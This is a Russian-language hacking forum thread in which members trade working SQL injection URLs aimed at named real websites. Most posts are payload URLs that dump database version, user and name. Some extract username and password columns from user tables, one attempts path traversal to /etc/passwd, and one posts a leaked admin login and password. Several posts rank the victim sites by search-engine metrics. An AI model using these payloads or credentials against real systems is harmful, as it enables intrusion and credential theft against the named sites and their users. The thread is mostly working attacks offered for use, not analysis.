SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PR=5
    4.1.22-standard
     
  2. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Code:
    http://www.begemotdecals.ru/shownews.php?lang=1&id=-56+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9
    http://www.any-mp3.ru/mods/download/fid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9
    http://www.diplom-ref.ru/category.php?category=%C1%E8%F0%E6%E5%E2%EE%E5%20%E4%E5%EB%EE'+and+5=4+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--+
    http://www.megatec.ru/?m=97'+and(select+1+from(select+count(*),concat((select+concat_ws(0x3a,username,password)+from+login+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+
    http://mvairport.ru/article.php?id_article=-52+union+select+1,2,3,4,user%28%29,6,7,8,9,10,11,12,13-- вывод в дескрипшен
    http://www.geneticsandsociety.org/article.php?id=305+and+5=4+union+select+version%28%29
    http://www.nissi-beach.com/section.php?id=13+or+1+group+by+concat%28%28select+version%28%29%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    http://www.script-php.info/index.php?link=9&id=-41+union+select+1,2,3,4,5,6,7,8,version%28%29,10--
    http://artdiana.ru/souvenir_simvol' and substring(version(),1,1)=5-- f
    
     
    1 person likes this.
  3. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    PR [4]
     
  4. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PHP:
    http://www.wcfls.org/news.php?ID=-95+union+select+1,2,3,group_concat(user_ID,0x03a,user_name,0x03a,user_pass),5,6,7,8,9+from+member_users--
    PR=5
     
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Что-то на итальянском.

    PHP:
    http://www.deabusiness.it/news.php?newsid=-22+union+select+1,2,count(*)+from+utenti--
     
    1 person likes this.
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    polit-nn.ru

    PHP:
    http://www.polit-nn.ru/?pt=comments&view=single&id=946+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.61-log
    Яндекс тИЦ (CY) 450
    Alexa Rank 926,577 +164,188
    Google PageRank (PR) 4


    ----------------------------------------------------------------------------------
    moi-kotenok.ru

    PHP:
    http://www.moi-kotenok.ru/view_news.php?id=78%27+limit+0,0+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11--+
    5.1.61-0+squeeze1-log
    Яндекс тИЦ (CY) 70
    Alexa Rank 437,859 -160,004
    Google PageRank (PR) 2


    ---------------------------------------------------------------------------------
    pspp-pmr.biz

    PHP:
    http://pspp-pmr.biz/news_f.php?id=227+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.0.67-log
    Яндекс тИЦ (CY) 0
    Alexa Rank 28,109,564
    Google PageRank (PR) 0

    ---------------------------------------------------------------------------------
    box50.ru

    PHP:
    http://box50.ru/index.php?id=15755%27+limit+0,0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,version%28%29--+

    5.0.92-log
    Яндекс тИЦ (CY) 0
    Alexa Rank 11,821,637
    Google PageRank (PR) 0

    ----------------------------------------------------------------------------------
    sochland.ru


    PHP:
    http://sochland.ru/sub3/?id=9+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.35-community-log
    Яндекс тИЦ (CY) 10
    Alexa Rank 1,973,983 +634,647
    Google PageRank (PR) 0

    -----------------------------------------------------------------------------------
    2hp.com.ua

    PHP:
    http://2hp.com.ua/m/news-item.php?id=225+limit+0,0+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,17,18,19,20--+
    5.0.77-log
    Яндекс тИЦ (CY) 0
    Alexa Rank 4,286,031
    Google PageRank (PR) 2

    -----------------------------------------------------------------------------------
    teatrum.ru

    PHP:
    http://www.teatrum.ru/best.php?id=173+limit+0,0+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13--+
    5.0.51a-24+lenny2+spu1-log
    Яндекс тИЦ (CY) 20
    Alexa Rank 13,780,078 +7,104,892
    Google PageRank (PR) 1
     
    2 people like this.
  7. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://www.voltyre-prom.ru/arhiv.php?type=-4%20and%201=2%20union%20select%201,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8+--

    4.1.24-log [email protected] voltyre2006_base unknown-linux-gnu
     
    1 person likes this.
  8. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Питерский ВУЗ. PR=3

    PHP:
    http://www.ti-studpk.ru/rubrics.php?id_menu=2&id_r=-15+union+select+1,2,3,count(*),5,6+from+users--
     
    1 person likes this.
  9. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.ticketcrociere.it/popup.php?travel_id=MD11101020&id=-3357+union+select+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29--
    Исходник:

    Username: [email protected]
    Version: 5.0.32-Debian_7etch8
    Database: viaggi2008

    GooglePR: 4
     
    2 people like this.
  10. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 250, PR == 4, ЯК == true;

    PHP:
    http://www.pakwerk.ru/pages/catalog/komponenty-termoupakovochnogo-oborudovaniya.php?iid=-274+union+select+1,2,3,4,5,concat_ws(0x03a,ID,Login,Password)+from+std_users--
     
    2 people like this.
  11. w1spo

    w1spo New Member

    Joined:
    15 Jul 2011
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    PHP:
    http://my-corp.ru/page.php?id=-9+and+1=0+union+select+1,2,3,4,5,6,group_concat%280x3a,user%28%29,0x3a,version%28%29,0x3a%29,8,9,10,11,12+--+
    5.5.15-log
     
    #14851 w1spo, 7 May 2012
    Last edited: 7 May 2012
    3 people like this.
  12. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    musictownclub.ru ТИЦ-190
    Code:
    www.musictownclub.ru/view_news.php?news=-432+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13,14,15--
    Code:
    5.1.44:musictc_ru@localhost:musictc_ru
    mxm.ru ТИЦ-100
    Code:
    www.mxm.ru/oxota/index.php?parent_id=-7349+union+all+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,0,11,12,13,14,15%23
    Code:
    4.0.27:[email protected]:mxm
     
    1 person likes this.
  13. cloud2020

    cloud2020 New Member

    Joined:
    11 Feb 2012
    Messages:
    6
    Likes Received:
    2
    Reputations:
    -1
    Code:
    http://bajuncat.ru/ViewPhoto.php?Id=29'
     
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Решив эту несложную загадку, вы найдете самую брутально-спартанскую админку из виденных мною.

    PHP:
    http://www.asvip.ru/index.php?section=-118+union+select+@@version_compile_os,2,3,4,5,6,7--
     
  15. cloud2020

    cloud2020 New Member

    Joined:
    11 Feb 2012
    Messages:
    6
    Likes Received:
    2
    Reputations:
    -1
    Code:
    http://www.beemabuild.co.uk/view_product.php?id=258'
    
    Админку найти не могу.
    вот данные админа:
    admin:005zavBQL
     
    2 people like this.
  16. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Ничего интересного.

    PHP:
    http://cotton-shop.ru/site.php?p=2&cat=-56'+union++select+1,2,@@version_compile_os,4,5,6,7--+h
     
    2 people like this.
  17. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    razvlekaykaa.ru

    PHP:
    http://razvlekaykaa.ru/index.php?option=com_bca-rss-syndicator&c  ontroller=../../../../../../../etc/p  asswd%00
    addr.ru

    PHP:
    http://addr.ru/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,concat_ws%280x3a,u sername,p  assword,usertype,activation%29,0,0,0,0,0,0,  0,0,0,0,0,0,0,0,0,  0,0,0%20from%20jos_users--

    PHP:
    http://www.scotclimb.org.uk/books/review.php?id=-33013+union+select+1,2,g  roup_concat%28name,0x3a,pa ssword,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14+fr om+climbers--
     
    #14857 Gaben7, 8 May 2012
    Last edited: 8 May 2012
    1 person likes this.
  18. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    t-s-c.ru ТИЦ-400 blind
    Code:
    www.t-s-c.ru/catalog.php?parent_id=217'+AND+5=substring(version(),1,1)+AND+'Wybq'='Wybq
    Code:
    www.t-s-c.ru/catalog.php?parent_id=217'+AND+4=substring(version(),1,1)+AND+'Wybq'='Wybq
    Code:
    5.0.77:script@localhost:hitachi-tsk
    allcharter.ru ТИЦ-150 ~1к уников
    Code:
    www.allcharter.ru/showfirm.php?num=-140'+UnIon+selECt+1,concat_ws(version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+
    Code:
    [email protected]_allcharter
    интерприбор.рф ТИЦ-190
    Code:
    интерприбор.рф/faq.php?id=-17'+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,0,11,12,13,14,15,16+--+
    Code:
    5.0.45:interprbr@localhost:interprbr
     
  19. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Игрушки

     
  20. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Ну, раз сегодня такая активность ближе к ночи, то тоже поддержу господ, отписавшихся выше :)

    PHP:
    http://www.golflab.spb.ru/index.php?mid=10&pid=-24+union+select+':)',':)'--
     
Thread Status:
Not open for further replies.